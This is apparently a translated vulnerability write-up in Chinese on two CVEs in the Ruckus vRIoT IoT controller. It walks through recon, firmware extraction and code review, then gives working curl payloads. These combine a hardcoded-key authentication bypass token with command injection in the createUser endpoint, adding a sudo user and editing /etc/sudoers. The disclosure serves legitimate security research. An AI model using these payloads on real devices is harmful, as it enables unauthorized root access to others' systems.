Ruckus IoT 控制器中的远程命令执行(CVE-2020-26878 + CVE-2020-26879)

硬件安全
2023-01-07 17:51
32373

关于在Ruckus vRIoT中发现的两个漏洞(CVE-2020-26878和CVE-2020-26879),它们可以组合利用导致远程命令执行漏洞。

Ruckus Wireless公司总部设在硅谷,是移动网络市场上先进的无线系统供应商。

引言

每天都有越来越多的人选择“智能家居”,因此我们正在研究一个不可预估的问题,即寻找某种方式管理物联网设备组件中的漏洞。我们发现了“Ruckus IoT套件”,并打算寻找一些漏洞。我们专注于 Ruckus IoT控制器(Ruckus vRIoT),它是“IoT套件”的虚拟组成部分,负责通过公开的API集成IoT套件设备和IoT套件服务。

image.png

使用Ruckus平台的IoT架构示例

该软件以OVA格式提供(Ruckus IoT 1.5.1.0.21 (GA) vRIoT 服务器软件版本),因此它可以通过 VMware 和 VirtualBox 运行。这是获取和分析软件的一个好方法,因为它充当了测试平台。

“热身”环节

第一步是执行一些 recon 来检查攻击面,因此我们在虚拟机管理程序中运行 OVA,并执行简单的端口扫描以列出公开的服务:

PORT      STATE    SERVICE    REASON      VERSION
22/tcp    open     ssh        syn-ack     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
80/tcp    open     http       syn-ack     nginx
443/tcp   open     ssl/http   syn-ack     nginx
4369/tcp  open     epmd       syn-ack     Erlang Port Mapper Daemon
5216/tcp  open     ssl/http   syn-ack     Werkzeug httpd 0.12.1 (Python 3.5.2)
5672/tcp  open     amqp       syn-ack     RabbitMQ 3.5.7 (0-9)
9001/tcp  filtered tor-orport no-response
25672/tcp open     unknown    syn-ack
27017/tcp filtered mongod     no-response
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

有一些有趣的事情!如果我们尝试通过SSH (admin/admin)登录,我们会获得一个受限菜单,此处几乎不能做任何事情:

image.png

下一步是访问文件系统并了解该软件是如何工作的。我们无法破解受限菜单,所以需要以一种不那么花哨的方式提取文件:精炼技术,清理vmdk文件。

最后,OVA 文件只是一个包,它包含虚拟化系统所需的所有组件,因此我们可以在 qemu 和 NBD 驱动程序的帮助下提取其内容并装载虚拟机磁盘。

image.png

如果成功了,现在可以访问整个文件系统:

psyconauta@insulanova:/mnt|⇒  ls
bin      data  home        lib64       mqtt-broker  root  srv  usr      VRIOT
boot     dev   initrd.img  lost+found  opt          run   sys  var      vriot.d
cafiles  etc   lib         mnt         proc         sbin  tmp  vmlinuz

我们可以在/etc/passwd文件中看到用户“admin”没有常规shell:

image.png

该ras文件是一个 bash 脚本,对应之前看到的受限菜单。

BANNERNAME="                                Ruckus IoT Controller"
MENUNAME="                                      Main Menu"

if [ $TERM = "ansi" ]
then
set TERM=vt100
export TERM
fi

main_menu () {
draw_screen
get_input
check_input
if [ $? = 10 ] ; then main_menu ; fi
}


##------------------------------------------------------------------------------------------------
draw_screen () {
clear
echo "*******************************************************************************"
echo "$BANNERNAME"
echo "$MENUNAME"
echo "*******************************************************************************"
echo ""
echo "1 - Ethernet Network"
echo "2 - System Details"
echo "3 - NTP Setting"
echo "4 - System Operation"
echo "5 - N+1"
echo "6 - Comm Debugger"
echo "x - Log Off"
echo
echo -n "Enter Choice: "
}
...


远程命令执行 (CVE-2020-26878)

通常,所有这些具有web界面的物联网路由器/交换机等都包含使用用户控制的输入执行操作系统命令的功能。这意味着如果输入没有被正确过滤,就可以注入任意命令。这是必须检查的操作,因此第一个任务是查找与web界面相关的文件:

psyconauta@insulanova:/mnt/VRIOT|⇒  find -iname "*web*" 2> /dev/null
./frontend/build/static/media/fontawesome-webfont.912ec66d.svg
./frontend/build/static/media/fontawesome-webfont.af7ae505.woff2
./frontend/build/static/media/fontawesome-webfont.674f50d2.eot
./frontend/build/static/media/fontawesome-webfont.b06871f2.ttf
./frontend/build/static/media/fontawesome-webfont.fee66e71.woff
./ops/packages_151/node_modules/faye-websocket
./ops/packages_151/node_modules/faye-websocket/lib/faye/websocket.js
./ops/packages_151/node_modules/faye-websocket/lib/faye/websocket
./ops/packages_151/node_modules/node-red-contrib-kontakt-io/node_modules/ws/lib/WebSocketServer.js
./ops/packages_151/node_modules/node-red-contrib-kontakt-io/node_modules/ws/lib/WebSocket.js
./ops/packages_151/node_modules/node-red-contrib-kontakt-io/node_modules/mqtt/test/websocket_client.js
./ops/packages_151/node_modules/node-red-contrib-kontakt-io/node_modules/websocket-stream
./ops/packages_151/node_modules/sockjs/lib/webjs.js
./ops/packages_151/node_modules/sockjs/lib/trans-websocket.js
./ops/packages_151/node_modules/websocket-extensions
./ops/packages_151/node_modules/websocket-extensions/lib/websocket_extensions.js
./ops/packages_151/node_modules/node-red-contrib-web-worldmap
./ops/packages_151/node_modules/node-red-contrib-web-worldmap/worldmap/leaflet/font-awesome/fonts/fontawesome-webfont.woff
./ops/packages_151/node_modules/node-red-contrib-web-worldmap/worldmap/leaflet/font-awesome/fonts/fontawesome-webfont.svg
./ops/packages_151/node_modules/node-red-contrib-web-worldmap/worldmap/leaflet/font-awesome/fonts/fontawesome-webfont.woff2
./ops/packages_151/node_modules/websocket-driver
./ops/packages_151/node_modules/websocket-driver/lib/websocket
./ops/docker/webservice
./ops/docker/webservice/web_functions.py
./ops/docker/webservice/web_functions_helper.py
./ops/docker/webservice/web.py


通过这种方式,我们识别了几个与web相关的文件,并且web界面构建在python脚本之上。在python中有许多危险的函数,如果使用不当,会导致任意代码/命令的执行。简单的方法就是尝试查找主 Web 文件中具有用户控制数据的 os.system() 进行调用。一个简单的grep可以说明:

psyconauta@insulanova:/mnt/VRIOT|⇒  grep -i "os.system" ./ops/docker/webservice/web.py -A 5 -B 5
            reqData = json.loads(request.data.decode())
        except Exception as err:
            return Response(json.dumps({"message": {"ok": 0,"data":"Invalid JSON"}}), 200)
        userpwd = 'useradd '+reqData['username']+' ; echo  "'+reqData['username']+':'+reqData['password']+'" | chpasswd >/dev/null 2>&1'
        #call(['useradd ',reqData['username'],'; echo',userpwd,'| chpasswd'])
        os.system(userpwd)
        call(['usermod','-aG','sudo',reqData['username']],stdout=devNullFile)
    except Exception as err:
        print("err=",err)
        devNullFile.close()
        return errorResponseFactory(str(err), status=400)
--
            slave_ip = reqData['slave_ip']
            if reqData['slave_ip'] != config.get("vm_ipaddress"):
                master_ip = reqData['slave_ip']
                slave_ip = reqData['master_ip']
            crontab_str = "crontab -l | grep -q 'ha_slave.py' || (crontab -l ; echo '*/5 * * * * python3 /VRIOT/ops/scripts/haN1/ha_slave.py 1 "+master_ip+" "+slave_ip+" >> /var/log/cron_ha.log 2>&1') | crontab -"
            os.system(crontab_str)
            #os.system("python3 /VRIOT/ops/scripts/haN1/n1_process.py > /dev/null 2>&1 &")
    except Exception as err:
        devNullFile.close()
        return errorResponseFactory(str(err), status=400)
    else:
        devNullFile.close()
--
        call(['rm','-rf','/etc/corosync/authkey'],stdout=devNullFile)
        call(['rm','-rf','/etc/corosync/corosync.conf'],stdout=devNullFile)
        call(['rm','-rf','/etc/corosync/service.d/pcmk'],stdout=devNullFile)
        call(['rm','-rf','/etc/default/corosync'],stdout=devNullFile)
        crontab_str = "crontab -l | grep -v 'ha_slave.py' | crontab -"
        os.system(crontab_str)
        
        cmd = "supervisorctl status all | awk '{print $1}'"
        process_list = check_output(cmd,shell=True).decode('utf-8').split("\n")
        for process in process_list:
            if process and process != 'nplus1_service':
--
                        call(['service','sshd','stop'])
                        config.update("vm_ssh_enable","0")
                    call(['supervisorctl','restart','app:mqtt_service'])
                    call(['supervisorctl', 'restart', 'celery:*'])
                    if reqData["vm_ssh_enable"] == "0":
                        os.system("kill $(ps aux | grep 'ssh' | awk '{print $2}')")
            except Exception as err:
                return Response(json.dumps({"message": {"ok": 0,"data":"Invalid JSON"}}), 200)
        elif request.method == 'GET':
                response_json = {
                    "offline_upgrade_enable" : config.get("offline_upgrade_enable"),

第一个实例看起来已经很容易受到命令注入的影响。在检查代码片段时,我们可以发现它实际上是存在漏洞的:

@app.route("/service/v1/createUser",methods=['POST'])
@token_required
def create_ha_user():
    try:
        devNullFile = open(os.devnull, 'w')
        try:
            reqData = json.loads(request.data.decode())
        except Exception as err:
            return Response(json.dumps({"message": {"ok": 0,"data":"Invalid JSON"}}), 200)
        userpwd = 'useradd '+reqData['username']+' ; echo  "'+reqData['username']+':'+reqData['password']+'" | chpasswd >/dev/null 2>&1'
        #call(['useradd ',reqData['username'],'; echo',userpwd,'| chpasswd'])
        os.system(userpwd)
        call(['usermod','-aG','sudo',reqData['username']],stdout=devNullFile)
    except Exception as err:
        print("err=",err)
        devNullFile.close()


在调用 /service/v1/createUser时,我们可以看到直接从 POST 请求正文(JSON-formatted)以获取某些参数并连接到 os.system() 进行调用。由于这种串联在没有正确过滤的情况下完成,我们可以使用 ;,使用 HTTP 服务器(python -m SimpleHTTPServer) 轻松确认此漏洞:

curl https://host/service/v1/createUser -k --data '{"username": ";curl http://TARGET:8000/pwned;#", "password": "test"}' -H "Authorization: Token 47de1a54fa004793b5de9f5949cf8882" -H "Content-Type: application/json"


通过 API 后门进行绕过身份验证 (CVE-2020-26879)

第一步是检查token_required函数,以便了解如何执行此过滤:

def token_required(f):
    @wraps(f)
    def wrapper(*args, **kwargs):

        # Localhost Authentication
        if(request.headers.get('X-Real-Ip') == request.headers.get('host')):
            return f()
        # init call
        if(request.path == '/service/init' and request.method == 'POST'):
            return f()
        if(request.path == '/service/upgrade/flow' and request.method == 'POST'):
            return f()

        # N+1 Authentication  
        if "Token " not in request.headers.get('Authorization'):
            print('Auth='+request.headers.get('Authorization'))
            token = crpiot_obj.decrypt(request.headers.get('Authorization'))
            print('Token='+token)
            with open("/VRIOT/ops/scripts/haN1/service_auth") as fileobj:
                auth_code = fileobj.read().rstrip()
            if auth_code == token:
                return f()

        # Normal Authentication
        k = requests.get("https://0.0.0.0/app/v1/controller/stats",headers={'Authorization': request.headers.get('Authorization')},verify=False)
        if(k.status_code != 200):
            return Response(json.dumps({"detail": "Invalid Token."}), 401)
        else:
            return f()
    return wrapper


让我们忽略header comparison :)并专注于 N+1 身份验证。如所见,如果授权标头不包含单词“Token”,则将解密标头值,并与文件中的硬编码值

        self.salt = salt.encode("utf8")
        self.enc_dec_method = 'utf-8'
        self.str_key=config.get('n1_token').encode("utf8")




    def encrypt(self, str_to_enc):
        try:
            aes_obj = AES.new(self.str_key, AES.MODE_CFB, self.salt)
            hx_enc = aes_obj.encrypt(str_to_enc.encode("utf8"))
            mret = b64encode(hx_enc).decode(self.enc_dec_method)
            return mret
        except ValueError as value_error:
            if value_error.args[0] == 'IV must be 16 bytes long':
                raise ValueError('Encryption Error: SALT must be 16 characters long')
            elif value_error.args[0] == 'AES key must be either 16, 24, or 32 bytes long':
                raise ValueError('Encryption Error: Encryption key must be either 16, 24, or 32 characters long')
            else:
                raise ValueError(value_error)

该值(n1_token)可以通过 greping (spoiler: 它是 serviceN1authent)找到的。有了这些信息,就可以去python控制台并创建值:

>>> from Crypto.Cipher import AES
>>> from base64 import b64encode, b64decode
>>> salt='nplusServiceAuth'
>>> salt = salt.encode("utf8")
>>> enc_dec_method = 'utf-8'
>>> str_key = 'serviceN1authent'
>>> aes_obj = AES.new(str_key, AES.MODE_CFB, salt)
>>> hx_enc = aes_obj.encrypt('TlBMVVMx'.encode("utf8"))# From /VRIOT/ops/scripts/haN1/service_auth
>>> mret = b64encode(hx_enc).decode(enc_dec_method)
>>> print mret
OlDkR+oocZg=

因此,将授权标头设置为 OlDkR+oocZg=足以绕过令牌检查并与 API 进行交互。可以将此后门与远程命令注入相结合:

curl https://host/service/v1/createUser -k --data '{"username": ";useradd \"exploit\" -g 27; echo  \"exploit\":\"pwned\" | chpasswd >/dev/null 2>&1;sed -i \"s/Defaults        rootpw/ /g\" /etc/sudoers;#", "password": "test"}' -H "Authorization: OlDkR+oocZg=" -H "Content-Type: application/json"


现在登录:

image.png

PWNED! >:). 所以我们可以通过未授权命令执行漏洞拿到root权限。

-end

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